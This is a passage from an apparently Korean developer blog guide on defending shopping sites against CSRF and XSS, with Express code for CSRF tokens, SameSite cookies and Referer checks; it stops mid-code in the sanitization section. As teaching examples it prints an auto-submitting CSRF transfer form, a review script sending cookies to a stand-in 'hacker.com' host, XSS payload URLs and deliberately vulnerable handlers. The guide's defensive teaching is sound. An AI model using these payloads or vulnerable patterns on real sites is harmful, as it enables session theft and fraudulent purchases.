์ฝ˜ํ…์ธ  ๋Œ€ํ‘œ ์ด๋ฏธ์ง€ - ๐Ÿ›ก๏ธ ์‡ผํ•‘๋ชฐ ๋ณด์•ˆ ๊ฐ•ํ™” ์™„๋ฒฝ ๊ฐ€์ด๋“œ

๐Ÿ›ก๏ธ ์‡ผํ•‘๋ชฐ ๋ณด์•ˆ ๊ฐ•ํ™” ์™„๋ฒฝ ๊ฐ€์ด๋“œ

CSRF, XSS, SQL Injection ๋ฐฉ์–ด์˜ ๋ชจ๋“  ๊ฒƒ

๐ŸŽฏ ์™œ ์‡ผํ•‘๋ชฐ ๋ณด์•ˆ์ด ์ด๋ ‡๊ฒŒ ์ค‘์š”ํ• ๊นŒ?

์•ˆ๋…•! ์˜ค๋Š˜์€ ์‡ผํ•‘๋ชฐ ๊ฐœ๋ฐœํ•  ๋•Œ ์ ˆ๋Œ€ ๋นผ๋จน์œผ๋ฉด ์•ˆ ๋˜๋Š” ๋ณด์•ˆ ์ด์•ผ๊ธฐ๋ฅผ ํ•ด๋ณผ๊ฒŒ. ๐Ÿ˜Š
์š”์ฆ˜ ์˜จ๋ผ์ธ ์‡ผํ•‘๋ชฐ ํ•˜๋‚˜ ์—†๋Š” ๊ธฐ์—…์ด ์—†์ž–์•„? ๊ทธ๋Ÿฐ๋ฐ ๋ง์ด์•ผ, ์‡ผํ•‘๋ชฐ์€ ๊ณ ๊ฐ์˜ ๊ฐœ์ธ์ •๋ณด, ๊ฒฐ์ œ์ •๋ณด, ์ฃผ๋ฌธ๋‚ด์—ญ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค๋ฃจ๊ธฐ ๋•Œ๋ฌธ์— ํ•ด์ปค๋“ค์˜ ์ฃผ์š” ํƒ€๊นƒ์ด ๋˜๊ณค ํ•ด.

์‹ค์ œ๋กœ 2023๋…„ ํ•œ ํ•ด์—๋งŒ ๊ตญ๋‚ด์™ธ์—์„œ ์ˆ˜๋ฐฑ ๊ฑด์˜ ์‡ผํ•‘๋ชฐ ํ•ดํ‚น ์‚ฌ๊ณ ๊ฐ€ ๋ฐœ์ƒํ–ˆ์–ด. ๊ณ ๊ฐ ์ •๋ณด๊ฐ€ ์œ ์ถœ๋˜๋ฉด ๊ธฐ์—…์€ ๋ง‰๋Œ€ํ•œ ์†ํ•ด๋ฐฐ์ƒ์€ ๋ฌผ๋ก ์ด๊ณ , ๋ธŒ๋žœ๋“œ ์ด๋ฏธ์ง€์— ์น˜๋ช…ํƒ€๋ฅผ ์ž…๊ฒŒ ๋˜์ง€. ๐Ÿ’ธ

๊ทธ๋ž˜์„œ ์˜ค๋Š˜์€ ์‡ผํ•‘๋ชฐ ๊ฐœ๋ฐœ์ž๋ผ๋ฉด ๋ฐ˜๋“œ์‹œ ์•Œ์•„์•ผ ํ•  3๋Œ€ ๋ณด์•ˆ ์œ„ํ˜‘์ธ CSRF, XSS, SQL Injection์— ๋Œ€ํ•ด ์นœ๊ตฌ์ฒ˜๋Ÿผ ํŽธํ•˜๊ฒŒ ์„ค๋ช…ํ•ด์ค„๊ฒŒ!

์‡ผํ•‘๋ชฐ 3๋Œ€ ๋ณด์•ˆ ์œ„ํ˜‘ ๐ŸŽฃ CSRF ์‚ฌ์šฉ์ž ๋ชฐ๋ž˜ ์š”์ฒญ ์œ„์กฐ ๐Ÿ’‰ XSS ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž… ๊ณต๊ฒฉ ๐Ÿ—„๏ธ SQL Injection ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์กฐ์ž‘ ๊ณต๊ฒฉ ๋ชจ๋‘ ๋ง‰์•„์•ผ ์•ˆ์ „ํ•œ ์‡ผํ•‘๋ชฐ! ๊ฐ๊ฐ์˜ ํŠน์„ฑ์„ ์ดํ•ดํ•˜๊ณ  ์ ์ ˆํ•œ ๋ฐฉ์–ด ๊ธฐ๋ฒ•์„ ์ ์šฉํ•˜์„ธ์š”

๐ŸŽฃ CSRF (Cross-Site Request Forgery) ๊ณต๊ฒฉ์˜ ๋ชจ๋“  ๊ฒƒ

๐Ÿ“Œ CSRF๊ฐ€ ๋ญ๊ธธ๋ž˜?

CSRF๋Š” 'ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ์œ„์กฐ'๋ผ๊ณ  ๋ถˆ๋Ÿฌ. ์ด๋ฆ„์ด ์ข€ ์–ด๋ ต์ง€? ๐Ÿ˜…
์‰ฝ๊ฒŒ ๋งํ•˜๋ฉด, ์‚ฌ์šฉ์ž๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š์€ ํ–‰๋™์„ ๋ชฐ๋ž˜ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด์•ผ.

์˜ˆ๋ฅผ ๋“ค์–ด๋ณผ๊ฒŒ. ๋„ˆ๊ฐ€ A์‡ผํ•‘๋ชฐ์— ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—์„œ ์ด๋ฉ”์ผ์„ ํ™•์ธํ•˜๋‹ค๊ฐ€ ์ˆ˜์ƒํ•œ ๋งํฌ๋ฅผ ํด๋ฆญํ–ˆ์–ด.
๊ทธ๋Ÿฐ๋ฐ ๊ทธ ๋งํฌ๊ฐ€ ์‹ค์ œ๋กœ๋Š” A์‡ผํ•‘๋ชฐ์— "์ƒํ’ˆ 100๊ฐœ ๊ตฌ๋งคํ•˜๊ธฐ" ์š”์ฒญ์„ ๋ณด๋‚ด๋Š” ์ฝ”๋“œ์˜€๋‹ค๋ฉด?
๋„ˆ๋„ ๋ชจ๋ฅด๋Š” ์‚ฌ์ด์— ์—„์ฒญ๋‚œ ๊ธˆ์•ก์ด ๊ฒฐ์ œ๋  ์ˆ˜ ์žˆ์ง€! ๐Ÿ˜ฑ

โš ๏ธ ์‹ค์ œ CSRF ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค 1๏ธโƒฃ ์‚ฌ์šฉ์ž๊ฐ€ ์‡ผํ•‘๋ชฐ์— ๋กœ๊ทธ์ธ (์„ธ์…˜ ์ฟ ํ‚ค ์ƒ์„ฑ)
2๏ธโƒฃ ํ•ด์ปค๊ฐ€ ๋งŒ๋“  ์•…์„ฑ ์‚ฌ์ดํŠธ ๋ฐฉ๋ฌธ
3๏ธโƒฃ ์•…์„ฑ ์‚ฌ์ดํŠธ์—์„œ ์ž๋™์œผ๋กœ ์‡ผํ•‘๋ชฐ์— ์š”์ฒญ ์ „์†ก
4๏ธโƒฃ ์‡ผํ•‘๋ชฐ ์„œ๋ฒ„๋Š” ์ •์ƒ์ ์ธ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ํ™•์ธํ•˜๊ณ  ์š”์ฒญ ์ฒ˜๋ฆฌ
5๏ธโƒฃ ์‚ฌ์šฉ์ž ๋ชฐ๋ž˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ, ์ƒํ’ˆ ๊ตฌ๋งค, ์ •๋ณด ์ˆ˜์ • ๋“ฑ์ด ์‹คํ–‰๋จ
๐Ÿ” CSRF ๊ณต๊ฒฉ์˜ ์ž‘๋™ ์›๋ฆฌ

CSRF ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•œ ์ด์œ ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๊ธฐ ๋•Œ๋ฌธ์ด์•ผ.

์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ํŠน์ • ๋„๋ฉ”์ธ์— ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ, ๊ทธ ๋„๋ฉ”์ธ์— ์ €์žฅ๋œ ์ฟ ํ‚ค๋ฅผ ์ž๋™์œผ๋กœ ํ•จ๊ป˜ ๋ณด๋‚ด. ์ด๊ฑด ์‚ฌ์šฉ์ž ํŽธ์˜๋ฅผ ์œ„ํ•œ ๊ธฐ๋Šฅ์ธ๋ฐ, ํ•ด์ปค๋“ค์ด ์ด๊ฑธ ์•…์šฉํ•˜๋Š” ๊ฑฐ์ง€.

๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ CSRF ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์–ด:

๐ŸŽฏ CSRF ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•๋“ค

1. ์ด๋ฏธ์ง€ ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ ๊ณต๊ฒฉ
์•…์„ฑ ์‚ฌ์ดํŠธ์— ์ด๋Ÿฐ ์ฝ”๋“œ๋ฅผ ์ˆจ๊ฒจ๋†“๋Š” ๊ฑฐ์•ผ:

HTML ์˜ˆ์‹œ
<img src="https://shopping.com/api/purchase?item=123&quantity=100" />
์‚ฌ์šฉ์ž๊ฐ€ ์ด ํŽ˜์ด์ง€๋ฅผ ์—ด๋ฉด ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ํ•ด๋‹น URL์— ์ž๋™์œผ๋กœ ์š”์ฒญ์ด ๊ฐ€๊ฒŒ ๋ผ.

2. ํผ ์ž๋™ ์ œ์ถœ ๊ณต๊ฒฉ
JavaScript๋กœ ํผ์„ ์ž๋™์œผ๋กœ ์ œ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•:

JavaScript ์˜ˆ์‹œ
<form id="malicious" action="https://shopping.com/api/transfer" method="POST">
  <input type="hidden" name="amount" value="1000000" />
  <input type="hidden" name="to" value="hacker_account" />
</form>
<script>
  document.getElementById('malicious').submit();
</script>
3. AJAX ์š”์ฒญ์„ ํ†ตํ•œ ๊ณต๊ฒฉ
์ตœ๊ทผ์—๋Š” fetch API๋‚˜ XMLHttpRequest๋ฅผ ์‚ฌ์šฉํ•œ ๊ณต๊ฒฉ๋„ ๋Š˜์–ด๋‚˜๊ณ  ์žˆ์–ด.
๐Ÿ›ก๏ธ CSRF ๋ฐฉ์–ด ๊ธฐ๋ฒ• - ์‹ค์ „ ๊ฐ€์ด๋“œ

์ž, ์ด์ œ ๋ณธ๊ฒฉ์ ์œผ๋กœ CSRF๋ฅผ ๋ง‰๋Š” ๋ฐฉ๋ฒ•๋“ค์„ ์•Œ์•„๋ณผ๊ฒŒ! ๐Ÿ’ช
์—ฌ๋Ÿฌ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ๋Š”๋ฐ, ์ƒํ™ฉ์— ๋งž๊ฒŒ ์กฐํ•ฉํ•ด์„œ ์‚ฌ์šฉํ•˜๋Š” ๊ฒŒ ๊ฐ€์žฅ ์ข‹์•„.

โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 1: CSRF ํ† ํฐ ์‚ฌ์šฉ (๊ฐ€์žฅ ํšจ๊ณผ์ !)

CSRF ํ† ํฐ์€ ์„œ๋ฒ„์—์„œ ์ƒ์„ฑํ•œ ๋žœ๋คํ•œ ๊ฐ’์œผ๋กœ, ๊ฐ ์š”์ฒญ๋งˆ๋‹ค ํ•จ๊ป˜ ์ „์†ก๋˜์–ด์•ผ ํ•ด.
ํ•ด์ปค๋Š” ์ด ํ† ํฐ ๊ฐ’์„ ์•Œ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ด ์‹คํŒจํ•˜๊ฒŒ ๋˜์ง€!

๊ตฌํ˜„ ๋ฐฉ๋ฒ•:

Node.js + Express ์˜ˆ์‹œ
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

const app = express();

// CSRF ๋ณดํ˜ธ ๋ฏธ๋“ค์›จ์–ด ์„ค์ •
const csrfProtection = csrf({ cookie: true });

app.use(cookieParser());
app.use(csrfProtection);

// ํผ ๋ Œ๋”๋ง ์‹œ ํ† ํฐ ์ „๋‹ฌ
app.get('/checkout', (req, res) => {
  res.render('checkout', { csrfToken: req.csrfToken() });
});

// POST ์š”์ฒญ ์ฒ˜๋ฆฌ (์ž๋™์œผ๋กœ ํ† ํฐ ๊ฒ€์ฆ)
app.post('/purchase', csrfProtection, (req, res) => {
  // ํ† ํฐ์ด ์œ ํšจํ•˜๋ฉด ์ด ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋จ
  processPurchase(req.body);
  res.json({ success: true });
});
ํ”„๋ก ํŠธ์—”๋“œ (HTML)
<form action="/purchase" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>" />
  <input type="text" name="product_id" />
  <button type="submit">๊ตฌ๋งคํ•˜๊ธฐ</button>
</form>
AJAX ์š”์ฒญ ์‹œ
fetch('/purchase', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify({ product_id: 123 })
});
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 2: SameSite ์ฟ ํ‚ค ์†์„ฑ ํ™œ์šฉ

SameSite ์†์„ฑ์€ ์ฟ ํ‚ค๊ฐ€ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ์— ํฌํ•จ๋˜๋Š” ๊ฒƒ์„ ์ œํ•œํ•ด.
์ด๊ฑด ๋น„๊ต์  ์ตœ๊ทผ์— ๋‚˜์˜จ ๊ธฐ๋Šฅ์ธ๋ฐ, ์ •๋ง ๊ฐ•๋ ฅํ•ด! ๐Ÿ”ฅ

์ฟ ํ‚ค ์„ค์ • ์˜ˆ์‹œ
// Strict: ๊ฐ€์žฅ ์—„๊ฒฉ (๊ฐ™์€ ์‚ฌ์ดํŠธ์—์„œ๋งŒ ์ฟ ํ‚ค ์ „์†ก)
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

// Lax: ์ค‘๊ฐ„ ์ˆ˜์ค€ (์ผ๋ถ€ ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ํ—ˆ์šฉ)
res.cookie('sessionId', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // GET ์š”์ฒญ์€ ํ—ˆ์šฉ, POST๋Š” ์ฐจ๋‹จ
});

// None: ๋ชจ๋“  ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ํ—ˆ์šฉ (secure ํ•„์ˆ˜)
res.cookie('tracking', trackingId, {
  secure: true,
  sameSite: 'none'  // ๊ด‘๊ณ  ์ถ”์  ๋“ฑ์— ์‚ฌ์šฉ
});
๐Ÿ’ก SameSite ์˜ต์…˜ ๋น„๊ต

Strict ๊ฐ€์žฅ ์•ˆ์ „ํ•˜์ง€๋งŒ, ์™ธ๋ถ€ ๋งํฌ๋กœ ์ ‘์† ์‹œ ๋กœ๊ทธ์ธ ์ƒํƒœ ์œ ์ง€ ์•ˆ ๋จ
Lax ๋ณด์•ˆ๊ณผ ์‚ฌ์šฉ์„ฑ์˜ ๊ท ํ˜• (๋Œ€๋ถ€๋ถ„์˜ ์‡ผํ•‘๋ชฐ์— ์ถ”์ฒœ!)
None ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ๊ธฐ๋Šฅ์ด ํ•„์š”ํ•  ๋•Œ๋งŒ ์‚ฌ์šฉ
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 3: Referer ๊ฒ€์ฆ

์š”์ฒญ์ด ์–ด๋””์„œ ์™”๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ•์ด์•ผ.
ํ•˜์ง€๋งŒ ์ด ๋ฐฉ๋ฒ•๋งŒ์œผ๋กœ๋Š” ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์•„์„œ ๋ณด์กฐ ์ˆ˜๋‹จ์œผ๋กœ ์‚ฌ์šฉํ•ด์•ผ ํ•ด.

Referer ๊ฒ€์ฆ ์˜ˆ์‹œ
app.post('/api/purchase', (req, res) => {
  const referer = req.get('Referer');
  const allowedOrigins = [
    'https://myshop.com',
    'https://www.myshop.com'
  ];
  
  // Referer๊ฐ€ ์—†๊ฑฐ๋‚˜ ํ—ˆ์šฉ๋œ ๋„๋ฉ”์ธ์ด ์•„๋‹ˆ๋ฉด ์ฐจ๋‹จ
  if (!referer || !allowedOrigins.some(origin => referer.startsWith(origin))) {
    return res.status(403).json({ 
      error: 'Invalid request origin' 
    });
  }
  
  // ์ •์ƒ ์ฒ˜๋ฆฌ
  processPurchase(req.body);
  res.json({ success: true });
});
โš ๏ธ ์ฃผ์˜์‚ฌํ•ญ:
์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €๋‚˜ ๋ณด์•ˆ ์„ค์ •์—์„œ Referer ํ—ค๋”๋ฅผ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์–ด์„œ 100% ์‹ ๋ขฐํ•˜๋ฉด ์•ˆ ๋ผ!
โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 4: Double Submit Cookie ํŒจํ„ด

CSRF ํ† ํฐ์„ ์ฟ ํ‚ค์™€ ์š”์ฒญ ํŒŒ๋ผ๋ฏธํ„ฐ ์–‘์ชฝ์— ๋ชจ๋‘ ํฌํ•จ์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์ด์•ผ.
์„œ๋ฒ„๋Š” ๋‘ ๊ฐ’์ด ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•ด.

Double Submit Cookie ๊ตฌํ˜„
// ํ† ํฐ ์ƒ์„ฑ ๋ฐ ์ฟ ํ‚ค ์„ค์ •
const crypto = require('crypto');

function generateCSRFToken() {
  return crypto.randomBytes(32).toString('hex');
}

app.get('/checkout', (req, res) => {
  const token = generateCSRFToken();
  
  // ์ฟ ํ‚ค์— ํ† ํฐ ์ €์žฅ
  res.cookie('csrf_token', token, {
    httpOnly: false,  // JavaScript์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์–ด์•ผ ํ•จ
    secure: true,
    sameSite: 'strict'
  });
  
  res.render('checkout', { csrfToken: token });
});

// ๊ฒ€์ฆ ๋ฏธ๋“ค์›จ์–ด
function validateCSRF(req, res, next) {
  const cookieToken = req.cookies.csrf_token;
  const headerToken = req.get('X-CSRF-Token') || req.body._csrf;
  
  if (!cookieToken || !headerToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF token validation failed' });
  }
  
  next();
}

app.post('/purchase', validateCSRF, (req, res) => {
  // ์•ˆ์ „ํ•˜๊ฒŒ ์ฒ˜๋ฆฌ
  processPurchase(req.body);
  res.json({ success: true });
});
๐Ÿ’ก ์‹ค๋ฌด ํŒ: CSRF ๋ฐฉ์–ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โœ”๏ธ ๋ชจ๋“  ์ƒํƒœ ๋ณ€๊ฒฝ ์š”์ฒญ(POST, PUT, DELETE)์— CSRF ํ† ํฐ ์ ์šฉ
  • โœ”๏ธ GET ์š”์ฒญ์œผ๋กœ๋Š” ์ ˆ๋Œ€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ธฐ
  • โœ”๏ธ SameSite ์ฟ ํ‚ค ์†์„ฑ์„ 'Lax' ์ด์ƒ์œผ๋กœ ์„ค์ •
  • โœ”๏ธ ์ค‘์š”ํ•œ ์ž‘์—…์€ ์žฌ์ธ์ฆ ์š”๊ตฌ (๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ, ๊ฒฐ์ œ ๋“ฑ)
  • โœ”๏ธ CORS ์ •์ฑ… ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •
  • โœ”๏ธ ์ •๊ธฐ์ ์ธ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ์‹ค์‹œ

๐Ÿ’‰ XSS (Cross-Site Scripting) ๊ณต๊ฒฉ ์™„๋ฒฝ ๋Œ€์‘

๐Ÿ“Œ XSS๊ฐ€ ๋ญ์•ผ?

XSS๋Š” 'ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…'์˜ ์•ฝ์ž์•ผ. (์›๋ž˜ CSS์ธ๋ฐ ์Šคํƒ€์ผ์‹œํŠธ๋ž‘ ํ—ท๊ฐˆ๋ ค์„œ XSS๋ผ๊ณ  ๋ถ€๋ฅธ๋Œ€ ๐Ÿ˜„)

๊ฐ„๋‹จํžˆ ๋งํ•˜๋ฉด, ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›น ํŽ˜์ด์ง€์— ์ฃผ์ž…ํ•ด์„œ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ์ด์•ผ.

์˜ˆ๋ฅผ ๋“ค์–ด, ์‡ผํ•‘๋ชฐ ์ƒํ’ˆ ๋ฆฌ๋ทฐ์— ์ด๋Ÿฐ ๊ฑธ ์ž‘์„ฑํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•ด๋ด:

โš ๏ธ XSS ๊ณต๊ฒฉ ์˜ˆ์‹œ

์•…์„ฑ ๋ฆฌ๋ทฐ ๋‚ด์šฉ
์ด ์ƒํ’ˆ ์ •๋ง ์ข‹์•„์š”! <script>
  // ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ํ•ด์ปค ์„œ๋ฒ„๋กœ ์ „์†ก
  fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>
์ด ๋ฆฌ๋ทฐ๋ฅผ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด๋ฉด, ๊ทธ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜ ์ฟ ํ‚ค๊ฐ€ ํ•ด์ปค์—๊ฒŒ ์ „์†ก๋˜๊ณ ,
ํ•ด์ปค๋Š” ๊ทธ ์ฟ ํ‚ค๋กœ ํ”ผํ•ด์ž์˜ ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋ผ! ๐Ÿ˜ฑ
๐Ÿ” XSS ๊ณต๊ฒฉ์˜ 3๊ฐ€์ง€ ์œ ํ˜•

XSS ๊ณต๊ฒฉ์€ ํฌ๊ฒŒ 3๊ฐ€์ง€ ํƒ€์ž…์œผ๋กœ ๋‚˜๋‰˜์–ด. ๊ฐ๊ฐ์˜ ํŠน์ง•์„ ์•Œ์•„์•ผ ์ œ๋Œ€๋กœ ๋ง‰์„ ์ˆ˜ ์žˆ์–ด!

1๏ธโƒฃ Stored XSS (์ €์žฅํ˜• XSS) - ๊ฐ€์žฅ ์œ„ํ—˜!

์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ๋˜๋Š” ํƒ€์ž…์ด์•ผ.
๊ฒŒ์‹œํŒ, ๋Œ“๊ธ€, ๋ฆฌ๋ทฐ ๋“ฑ์— ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด, ๊ทธ๊ฑธ ๋ณด๋Š” ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ ํ”ผํ•ด๋ฅผ ์ž…์–ด.

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:
1. ํ•ด์ปค๊ฐ€ ์ƒํ’ˆ ๋ฆฌ๋ทฐ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์ž‘์„ฑ
2. ์„œ๋ฒ„๊ฐ€ ๊ฒ€์ฆ ์—†์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ €์žฅ
3. ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋“ค์ด ์ƒํ’ˆ ํŽ˜์ด์ง€ ๋ฐฉ๋ฌธ
4. ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋ชจ๋“  ๋ฐฉ๋ฌธ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰
5. ์„ธ์…˜ ์ฟ ํ‚ค, ๊ฐœ์ธ์ •๋ณด ๋“ฑ์ด ํ•ด์ปค์—๊ฒŒ ์ „์†ก๋จ

Stored XSS ์˜ˆ์‹œ
// ์ทจ์•ฝํ•œ ์ฝ”๋“œ
app.post('/review', (req, res) => {
  const review = req.body.content;  // ๊ฒ€์ฆ ์—†์ด ๋ฐ”๋กœ ์ €์žฅ
  db.query('INSERT INTO reviews (content) VALUES (?)', [review]);
  res.redirect('/product');
});

// ์ทจ์•ฝํ•œ ํ…œํ”Œ๋ฆฟ ๋ Œ๋”๋ง
<div class="review">
  <%= review.content %>  // ์ด์Šค์ผ€์ดํ”„ ์—†์ด ์ถœ๋ ฅ
</div>
2๏ธโƒฃ Reflected XSS (๋ฐ˜์‚ฌํ˜• XSS)

์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL ํŒŒ๋ผ๋ฏธํ„ฐ๋‚˜ ํผ ์ž…๋ ฅ์„ ํ†ตํ•ด ์ฆ‰์‹œ ๋ฐ˜์‚ฌ๋˜์–ด ์‹คํ–‰๋˜๋Š” ํƒ€์ž…์ด์•ผ.
์ฃผ๋กœ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์ด๋‚˜ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์—์„œ ๋ฐœ์ƒํ•ด.

๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค:
1. ํ•ด์ปค๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ URL ์ƒ์„ฑ
2. ํ”ผ์‹ฑ ์ด๋ฉ”์ผ์ด๋‚˜ SNS๋กœ ๋งํฌ ์œ ํฌ
3. ์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ ํด๋ฆญ
4. ์„œ๋ฒ„๊ฐ€ URL ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ํŽ˜์ด์ง€์— ์ถœ๋ ฅ
5. ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰

Reflected XSS ์˜ˆ์‹œ
// ์ทจ์•ฝํ•œ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>๊ฒ€์ƒ‰ ๊ฒฐ๊ณผ: ${query}</h1>`);  // ์œ„ํ—˜!
});

// ์•…์„ฑ URL
https://shop.com/search?q=<script>alert(document.cookie)</script>
3๏ธโƒฃ DOM-based XSS (DOM ๊ธฐ๋ฐ˜ XSS)

์„œ๋ฒ„๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ํด๋ผ์ด์–ธํŠธ ์ธก JavaScript์—์„œ ๋ฐœ์ƒํ•˜๋Š” XSS์•ผ.
์ตœ๊ทผ SPA(Single Page Application)๊ฐ€ ๋งŽ์•„์ง€๋ฉด์„œ ์ด ์œ ํ˜•๋„ ์ฆ๊ฐ€ํ•˜๊ณ  ์žˆ์–ด.

DOM-based XSS ์˜ˆ์‹œ
// ์ทจ์•ฝํ•œ ํด๋ผ์ด์–ธํŠธ ์ฝ”๋“œ
const params = new URLSearchParams(window.location.search);
const username = params.get('user');
document.getElementById('welcome').innerHTML = `ํ™˜์˜ํ•ฉ๋‹ˆ๋‹ค, ${username}๋‹˜!`;

// ์•…์„ฑ URL
https://shop.com/?user=<img src=x onerror=alert(document.cookie)>
๐Ÿ›ก๏ธ XSS ๋ฐฉ์–ด ๊ธฐ๋ฒ• - ์‹ค์ „ ์™„๋ฒฝ ๊ฐ€์ด๋“œ

XSS๋ฅผ ๋ง‰๋Š” ๋ฐฉ๋ฒ•์€ ์—ฌ๋Ÿฌ ๊ฐ€์ง€๊ฐ€ ์žˆ์–ด. ํ•˜๋‚˜๋งŒ ์‚ฌ์šฉํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ์—ฌ๋Ÿฌ ๋ฐฉ์–ด์ธต์„ ๋งŒ๋“œ๋Š” ๊ฒŒ ์ค‘์š”ํ•ด! ๐Ÿ›ก๏ธ

โœ… ๋ฐฉ์–ด ๊ธฐ๋ฒ• 1: ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜ (Sanitization)

์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ฐ›์„ ๋•Œ ๋ฐ˜๋“œ์‹œ ๊ฒ€์ฆํ•˜๊ณ  ์ •์ œํ•ด์•ผ ํ•ด!

์ž…๋ ฅ ๊ฒ€์ฆ ์˜ˆ์‹œ (Node.js)
const validator = require('validator');
const sanitizeHtml = require('sanitize-html');

app.post('/review', (req, res) => {
  let content = req.body.content;
  
  // 1. ๊ธฐ๋ณธ ๊ฒ€์ฆ
  if (!content || content.length > 1000) {
    return res.status(400).json({ error: '๋ฆฌ๋ทฐ ๋‚ด์šฉ์ด ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค' });
  }
  
  // 2. HTML ํƒœ๊ทธ ์ œ๊ฑฐ ๋˜๋Š” ํ—ˆ์šฉ๋œ ํƒœ๊ทธ๋งŒ ๋‚จ๊ธฐ๊ธฐ
  content = sanitizeHtml(content, {
